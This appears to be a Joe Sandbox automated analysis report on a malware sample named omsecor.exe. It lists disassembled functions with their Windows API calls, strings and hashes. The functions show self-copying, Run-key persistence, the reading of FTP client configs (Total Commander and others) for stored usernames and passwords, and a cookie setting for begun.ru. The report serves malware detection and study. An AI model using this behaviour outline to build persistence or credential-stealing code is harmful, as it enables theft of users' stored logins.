Opcode Fuzzy Hash: 288a25c0387cb816e710d6056d2e667d0bdf05a7bdcb3ee8ac501960d13b8eb0
Instruction Fuzzy Hash: AB012C71D05602AADB207FB29A0AB5E7A78DF0076AF20413FF404B61D1CB7C8A449A9D

Function 00403A33 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00401D3D: __amsg_exit.LIBCMT ref: 00401D4B

__amsg_exit.LIBCMT ref: 00403A5F
__lock.LIBCMT ref: 00403A6F
InterlockedDecrement.KERNEL32(?), ref: 00403A8C
InterlockedIncrement.KERNEL32(021B1588), ref: 00403AB7

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__lock
String ID:
API String ID: 4129207761-0
Opcode ID: 8585fda054ee7361396d1f478d0024bbf818f9282079b570ad35bde21b9f8bf2
Instruction ID: 3b707b5fd0894213fb8e8695ce472a26b52a1803b1b57e4fe7db1faaf9775e12
Opcode Fuzzy Hash: 8585fda054ee7361396d1f478d0024bbf818f9282079b570ad35bde21b9f8bf2
Instruction Fuzzy Hash: 3A018E32E00B119BD611AF6A990974A7B64BB05716F05403BE890773D1C73CAB51DFDE

Function 00401CC6 Relevance: 6.0, APIs: 4, Instructions: 45threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00404281,00402202,00000000,00402EFA,FFFFFFFE,?,?,?,?,00402F66), ref: 00401CC8

Part of subcall function 00401B98: TlsGetValue.KERNEL32(00000000,00401CDB,?,?,?,00402F66), ref: 00401B9F
Part of subcall function 00401B98: TlsSetValue.KERNEL32(00000000,?,?,00402F66), ref: 00401BC0

__calloc_crt.LIBCMT ref: 00401CEA

Part of subcall function 00404032: __calloc_impl.LIBCMT ref: 00404040
Part of subcall function 00404032: Sleep.KERNEL32(00000000), ref: 00404057

Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45

Part of subcall function 00401C07: GetModuleHandleA.KERNEL32(KERNEL32.DLL,00409328,0000000C,00401D18,00000000,00000000,?,?,?,00402F66), ref: 00401C18
Part of subcall function 00401C07: GetProcAddress.KERNEL32(?,EncodePointer), ref: 00401C4C
Part of subcall function 00401C07: GetProcAddress.KERNEL32(?,DecodePointer), ref: 00401C5C
Part of subcall function 00401C07: InterlockedIncrement.KERNEL32(0040A3C8), ref: 00401C7E
Part of subcall function 00401C07: __lock.LIBCMT ref: 00401C86
Part of subcall function 00401C07: ___addlocaleref.LIBCMT ref: 00401CA5

GetCurrentThreadId.KERNEL32 ref: 00401D1A
SetLastError.KERNEL32(00000000,?,?,?,00402F66), ref: 00401D32

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: Value$AddressErrorLastProc$CurrentHandleIncrementInterlockedModuleSleepThread___addlocaleref__calloc_crt__calloc_impl__lock
String ID:
API String ID: 1081334783-0
Opcode ID: 098acf1058f6266e08016df3b7da3ea01f889e9df5624f40869082c495d6053c
Instruction ID: d2849ffa799b97934cc6d9bfafbcb639600e9549b280b5eba9c9c239b681eae2
Opcode Fuzzy Hash: 098acf1058f6266e08016df3b7da3ea01f889e9df5624f40869082c495d6053c
Instruction Fuzzy Hash: 2EF0FF325447229AD6363BB96D0AA8F3AA49F41761711093FF580B61F0CF3CD80296AD

Analysis Process: omsecor.exePID: 8100, Parent PID: 8072COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1144
Total number of Limit Nodes:	6

Executed Functions

Function 0040ABD9 Relevance: 3.0, APIs: 2, Instructions: 26
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

FindFirstFileW.KERNEL32(?,00000000), ref: 0040AC03
FindClose.KERNEL32(00000000), ref: 0040AC0F

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: FindOpen$CloseFileFirst
String ID:
API String ID: 3155378417-0
Opcode ID: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction ID: fa0310e4c65bbc590993533f650c85f5e3ee77ef27cd51fa1c8f473dbf319076
Opcode Fuzzy Hash: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction Fuzzy Hash: 5DE0D87160C7044BE220E7B49D0C967B3DCAB45325F000F36A9B6E20C0FA38D46A465F

Function 0040B346 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 153
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B36C
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B39D

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(0040EA48,00000000,00000000,00000000,00000000,00020006,00000000,00000002,0040EA48,?,?,?,?,00406AD3,80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current), ref: 00406A22

GetLastError.KERNEL32(00000004), ref: 0040B3CA
Sleep.KERNEL32(00002710), ref: 0040B3F7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B413
CopyFileW.KERNEL32(?,?,00000000), ref: 0040B435
ExitProcess.KERNEL32 ref: 0040B44D

Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

GetLastError.KERNEL32(00000004), ref: 0040B48D
GetLastError.KERNEL32(00000004), ref: 0040B49A
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 0040B4C7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B4D7
GetLastError.KERNEL32(00000004), ref: 0040B500

Strings

IueiOod, xrefs: 0040B3A8
/nomove, xrefs: 0040B4D9
opeqmc.exe, xrefs: 0040B36E
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040B3AD

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: File$ErrorLastModuleName$Open$CopyCreateEnvironmentExitExpandProcessSleepStrings
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$opeqmc.exe
API String ID: 3692109554-477663111
Opcode ID: 55bb52feb6c62d8aec5773147cbc2c373a20a80f20ddf5eadf9f4fa8ccd6a04a
Instruction ID: ccf8aad4361994264e72a39918ed7d53ff083e628d4a69ee62a5d407c68d8035
Opcode Fuzzy Hash: 55bb52feb6c62d8aec5773147cbc2c373a20a80f20ddf5eadf9f4fa8ccd6a04a
Instruction Fuzzy Hash: 8C4127719042186AE710B7A19D46FAB73ACEF04345F14447BBB05F11C2EB789A548AAF

Function 004075D4 Relevance: 22.6, APIs: 15, Instructions: 128
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000400), ref: 004075FC
CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618
GetFileSize.KERNEL32(?,00000000), ref: 0040762E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407638
RtlAllocateHeap.NTDLL(00000000), ref: 0040763F
ReadFile.KERNELBASE(?,00000000,00000000,?,00000000), ref: 00407660
WriteFile.KERNELBASE(?,?,00000000,?,00000000), ref: 0040767F
SetFilePointer.KERNELBASE(?,00000000,00000000,00000000), ref: 00407691
ReadFile.KERNELBASE(?,?,00000040,?,00000000), ref: 004076A1
SetFilePointer.KERNELBASE(?,?,00000000,00000000), ref: 004076AF
ReadFile.KERNELBASE(?,?,000000F8,?,00000000), ref: 004076C5
SetFilePointer.KERNELBASE(?,?,00000000,00000000), ref: 004076EF
WriteFile.KERNELBASE(?,?,000000F8,?,00000000), ref: 00407705
CloseHandle.KERNELBASE(?), ref: 00407714
CloseHandle.KERNEL32(?), ref: 00407719

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: File$PointerRead$CloseCreateHandleHeapWrite$AllocateProcessSize
String ID:
API String ID: 2296163861-0
Opcode ID: 894f1e02061cece153af19de11902bbae5fe70548c4ece14d410128547cdf08b
Instruction ID: 7ae3b020874f099f6a4231377d147a855b3f50186be4225f3fece46b7b724b47
Opcode Fuzzy Hash: 894f1e02061cece153af19de11902bbae5fe70548c4ece14d410128547cdf08b
Instruction Fuzzy Hash: F0416A71901028BADB209BA2DD48EEFBF7DEF45390F104476F619F21A0D7709A10DB64

Function 0040AC20 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

Strings

IueiOod, xrefs: 0040AC50, 0040AC82
/nomove, xrefs: 0040AC23
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040AC39, 0040AC3E, 0040AC6C

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run
API String ID: 3546245721-4228964922
Opcode ID: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction ID: 3bac8edf5f415b784fe4546894dc74dc09b9405a13c640cee1cd261e7a9a2bb6
Opcode Fuzzy Hash: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction Fuzzy Hash: 5F01867265430EFEFF1096919D42F9A736CDB40768F210036FA00B60D1D6B6AE155779

Function 0040AAFD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(?,0040B3E5), ref: 0040AB0A
GetModuleFileNameW.KERNEL32(00000000,?,00000820,00000400,?,0040B3E5), ref: 0040AB44
CharLowerW.USER32(?,?,0040B3E5), ref: 0040AB57
CharLowerW.USER32(?,?,0040B3E5), ref: 0040AB60

Strings

/nomove, xrefs: 0040AB10

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: CharLower$CommandFileLineModuleName
String ID: /nomove
API String ID: 1338073227-1111986840
Opcode ID: 00c7a09b5e38cd9dc17e43fc8aab8f350de87f2bf6048177a511846302a86bad
Instruction ID: b8029fc6669f79c45f6caaa8ce38406425976cf3cabd4088da44db58d281c6d8
Opcode Fuzzy Hash: 00c7a09b5e38cd9dc17e43fc8aab8f350de87f2bf6048177a511846302a86bad
Instruction Fuzzy Hash: 7CF01D7290022956DB10A7B19C05BDB72ACFF40309F0445B6AA05F2180ED78EA548F95

Function 00407727 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,771B0900,00000400,00000000,0040B4B3,00000000), ref: 00407744
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 00407784
GetLastError.KERNEL32(00000004), ref: 004077A9

Part of subcall function 004075D4: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000400), ref: 004075FC
Part of subcall function 004075D4: CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: File$Create$EnvironmentErrorExpandLastModuleNameStrings
String ID:
API String ID: 1536607067-0
Opcode ID: eafcbf4a8c3930913d522f5c7b72beb30a71f0d0c1af5e3f4189f884763461bb
Instruction ID: de8f4f1c442ba604be96c6aabbb627c7d922d162aa2fadd5385f895ae0141ebd
Opcode Fuzzy Hash: eafcbf4a8c3930913d522f5c7b72beb30a71f0d0c1af5e3f4189f884763461bb
Instruction Fuzzy Hash: AD11E972908249AED720D7A19C81FEB739CFB44354F10483BFB95E30D0E678B945866B

Function 004077F0 Relevance: 3.0, APIs: 2, Instructions: 30
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00407800
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,?,?,?,?,00000400), ref: 0040781B

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: CreateProcess_memset
String ID:
API String ID: 1177741608-0
Opcode ID: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction ID: 3694313203bda926a09df6f19e1a61ce713b6a49f930e6e3ed03be73a1123fdc
Opcode Fuzzy Hash: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction Fuzzy Hash: 1DE048B294113876DB20A6E69C0DDDF7F6CDF06694F000121BA0EE50C4E5749608C6F5

Function 004069C0 Relevance: 3.0, APIs: 2, Instructions: 25
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction ID: 7cb27e63b8b96f7a1a34dd7d249ffcc2d4336ce0f7aa5f451266b78b49120899
Opcode Fuzzy Hash: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction Fuzzy Hash: DCE06D7A000208BBEF104F94CD09BD97BB9EB44358F208464BA00A6150D67596149B14

Non-executed Functions

Function 004039EA Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 163
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32(00000008,00020002,?,00000104,SOFTWARE\Ghisler\Total Commander), ref: 00403A09
GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 00403A2C
HeapAlloc.KERNEL32(00000008,00000C0C), ref: 00403A55
StrStrIW.SHLWAPI(?,?), ref: 00403ACF
StrStrIW.SHLWAPI(?,?), ref: 00403AE4
GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403AFF
GetPrivateProfileStringW.KERNEL32(?,?,00000000,000001FE,000000FF,?), ref: 00403B20
GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00403B36

Strings

username, xrefs: 00403AA9
default, xrefs: 00403A8B
password, xrefs: 00403AB8
connections, xrefs: 00403A79
SOFTWARE\Ghisler\Total Commander, xrefs: 004039F3
host, xrefs: 00403A9A
ftp://%s:%s@%s, xrefs: 00403B50

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: PrivateProfileString$AllocHeap
String ID: SOFTWARE\Ghisler\Total Commander$connections$default$ftp://%s:%s@%s$host$password$username
API String ID: 2479592106-2015850556
Opcode ID: c368ffed181334e4a999fe46bdaddc7fa5d9e929cd71afacdc90b45fbd8a1971
Instruction ID: 106d3b010c48b16868dcb071ba678aa04ac33b338b72d514ced31169f03d36dc
Opcode Fuzzy Hash: c368ffed181334e4a999fe46bdaddc7fa5d9e929cd71afacdc90b45fbd8a1971
Instruction Fuzzy Hash: A2513D71900109BAEB11EFA5DD41EAEBBBDEF44308F204077E904F6292D775AF068B58

Function 004032B8 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 86
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406A68: RegOpenKeyExW.ADVAPI32(80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current,00000000,00000001,?,00420840,?,00000000), ref: 00406A8C

Part of subcall function 00406ADF: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00420840,?,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182), ref: 00406B2A

GetSystemMetrics.USER32(00000000), ref: 004032E5
GetSystemMetrics.USER32(00000001), ref: 004032ED
VirtualProtect.KERNEL32(75A90B80,0000000A,00000008,?,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403309
VirtualProtect.KERNEL32(75A90B88,0000000A,?,?,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403333
SetUnhandledExceptionFilter.KERNEL32(004032AF,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 0040333A
LoadLibraryW.KERNEL32(atl,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403345
GetProcAddress.KERNEL32(00000000,AtlAxWinInit), ref: 0040335D
GetProcAddress.KERNEL32(00000000,AtlAxAttachControl), ref: 0040336A
GetProcAddress.KERNEL32(00000000,AtlAxGetControl), ref: 00403377

Strings

atl, xrefs: 00403340
AtlAxAttachControl, xrefs: 0040335F
AtlAxWinInit, xrefs: 00403357
AtlAxGetControl, xrefs: 0040336C

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$MetricsOpenProtectSystemVirtual$ExceptionFilterLibraryLoadUnhandled
String ID: AtlAxAttachControl$AtlAxGetControl$AtlAxWinInit$atl
API String ID: 3066332896-2664446222
Opcode ID: fe1f50a485c472adffca313bd216073f3c2af1e46121dbe202f23b587a8dcd22
Instruction ID: 61d9a237d914756188f526d52bf2e891562662c8e4878cb3977fb5d3c9d5a9bd
Opcode Fuzzy Hash: fe1f50a485c472adffca313bd216073f3c2af1e46121dbe202f23b587a8dcd22
Instruction Fuzzy Hash: E6212771900390EED3019FBAAD84A5A7FE8EB5B31171545BBE556F32A0C7B80902CB79

Function 0040350F Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 185memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000,?,00000000,00000000), ref: 0040823C

HeapAlloc.KERNEL32(00000008,00020002), ref: 00403566
GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 0040358A
HeapAlloc.KERNEL32(00000008,00000C20), ref: 004035B5
GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403639
GetPrivateProfileIntW.KERNEL32(?,?,00000015,?), ref: 00403653
GetPrivateProfileStringW.KERNEL32(?,?,00000000,-000001FE,000000FF,?), ref: 00403681

Strings

port, xrefs: 004035F1
ftp://%s:%s@%s:%u, xrefs: 004036C3
user, xrefs: 00403601
pass, xrefs: 00403611

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: PrivateProfile$String$AllocHeap$CombinePath
String ID: ftp://%s:%s@%s:%u$pass$port$user
API String ID: 3432043379-2696999094
Opcode ID: 44b7e08f2b4d95bd69ae67f2fadcfc6b29273b9b05256415c6f2e19ab8e382dd
Instruction ID: ca29095f8650abd3188745a74e72d347e34b1f07fc40ddfd65b33f15b90f053b
Opcode Fuzzy Hash: 44b7e08f2b4d95bd69ae67f2fadcfc6b29273b9b05256415c6f2e19ab8e382dd
Instruction Fuzzy Hash: D3515FB2104606AFE710EF61DC81EABBBEDEB88304F10493BF554A32D1D735DA058B56

Function 00408248 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 116sleepfilesynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000,?,00000000,00000000), ref: 0040823C

FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Sleep.KERNEL32(00000000), ref: 00408342
Sleep.KERNEL32(00000000), ref: 00408377
FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
FindClose.KERNEL32(00000000), ref: 004083B9

Strings

.8@, xrefs: 0040833F
., xrefs: 004082B7
., xrefs: 004082CE
.8@, xrefs: 00408379

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePathSleep$CloseCombineFirstMatchNextObjectSingleSpecWait
String ID: .$.$.8@$.8@
API String ID: 2348139788-2639049386
Opcode ID: 6239f567dea19bf0f1c0472067baa2396414c83c3cbbf53e1e63fbac9dc8ae5f
Instruction ID: 14d48cc84805742e6106b0fbd309534a1a80b5d2ede52edf6fcc6a53e93a4421
Opcode Fuzzy Hash: 6239f567dea19bf0f1c0472067baa2396414c83c3cbbf53e1e63fbac9dc8ae5f
Instruction Fuzzy Hash: 35414F3140021DABCF219F50DE49BDE7B79AF84708F0401BAFD84B11A1EB7A9DA5CB59

Function 0040CD66 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0040D0C4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040D0D9
UnhandledExceptionFilter.KERNEL32(0040E248), ref: 0040D0E4
GetCurrentProcess.KERNEL32(C0000409), ref: 0040D100
TerminateProcess.KERNEL32(00000000), ref: 0040D107

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1b5eef82b17558b1403b6a949654a497de19b842f61d59b3835a6f2e4e548581
Instruction ID: 078c109d1665b9b830d76e00ceeb27c9797f204ae48b5850d213398ac2e03a3c
Opcode Fuzzy Hash: 1b5eef82b17558b1403b6a949654a497de19b842f61d59b3835a6f2e4e548581
Instruction Fuzzy Hash: 7F21CEB8801244DFD700DF59F945A857BF4BB08385F0086BAE708E76B0E7B458808F0D

Function 0040B096 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 181
threadnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000,00000000,00000000,00000000,?,0040B320,00000000,?,0040B3E0), ref: 0040B103
InternetSetPerSiteCookieDecisionW.WININET(begun.ru,00000005), ref: 0040B16F
GetLastError.KERNEL32(00000004,?,0040B320,00000000,?,0040B3E0), ref: 0040B188
CreateThread.KERNEL32(00000000,00000000,Function_0000B023,?,00000000,00000000), ref: 0040B1C3

Strings

\netprotdrvss.exe, xrefs: 0040B12D, 0040B293
begun.ru, xrefs: 0040B16A

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: CookieCreateDecisionErrorFileInternetLastModuleNameSiteThread
String ID: \netprotdrvss.exe$begun.ru
API String ID: 2887986221-2660752650
Opcode ID: ad6e69e745eb0134cfaa1d61605679bf99b5aa58cc3a10e76cbc4c8091dfe4a8
Instruction ID: dc85dbecd2d93a1c92e95c54703b850062b4355e184197ecdf44903e32880826
Opcode Fuzzy Hash: ad6e69e745eb0134cfaa1d61605679bf99b5aa58cc3a10e76cbc4c8091dfe4a8
Instruction Fuzzy Hash: 4351F571A00218BBEB206F65DC89AAF3769EB44349F00447BF904BA1D1D77C8D51CBAE

Function 00403C10 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 173
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00403C84

Part of subcall function 004039EA: HeapAlloc.KERNEL32(00000008,00020002,?,00000104,SOFTWARE\Ghisler\Total Commander), ref: 00403A09
Part of subcall function 004039EA: GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 00403A2C
Part of subcall function 004039EA: HeapAlloc.KERNEL32(00000008,00000C0C), ref: 00403A55
Part of subcall function 004039EA: StrStrIW.SHLWAPI(?,?), ref: 00403ACF
Part of subcall function 004039EA: StrStrIW.SHLWAPI(?,?), ref: 00403AE4
Part of subcall function 004039EA: GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403AFF

PathRemoveFileSpecW.SHLWAPI(?), ref: 00403CA3

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00403D2C
